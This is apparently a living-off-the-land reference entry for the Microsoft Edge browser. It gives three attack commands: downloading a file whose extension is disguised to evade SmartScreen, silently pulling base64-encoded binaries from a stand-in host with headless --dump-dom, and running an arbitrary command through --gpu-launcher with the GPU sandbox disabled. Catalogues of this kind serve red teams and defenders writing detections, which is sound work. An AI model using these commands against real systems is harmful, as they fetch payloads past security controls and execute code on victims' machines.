Microsoft Edge browser
Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
msedge.exe https://www.example.org/file.exe.txt
Edge will silently download the file. File extension should be .html and binaries should be encoded.
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "https://www.example.org/file.base64.html" > file.b64
Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command
msedge.exe --disable-gpu-sandbox --gpu-launcher="cmd /c c:\windows\system32\calc.exe &&"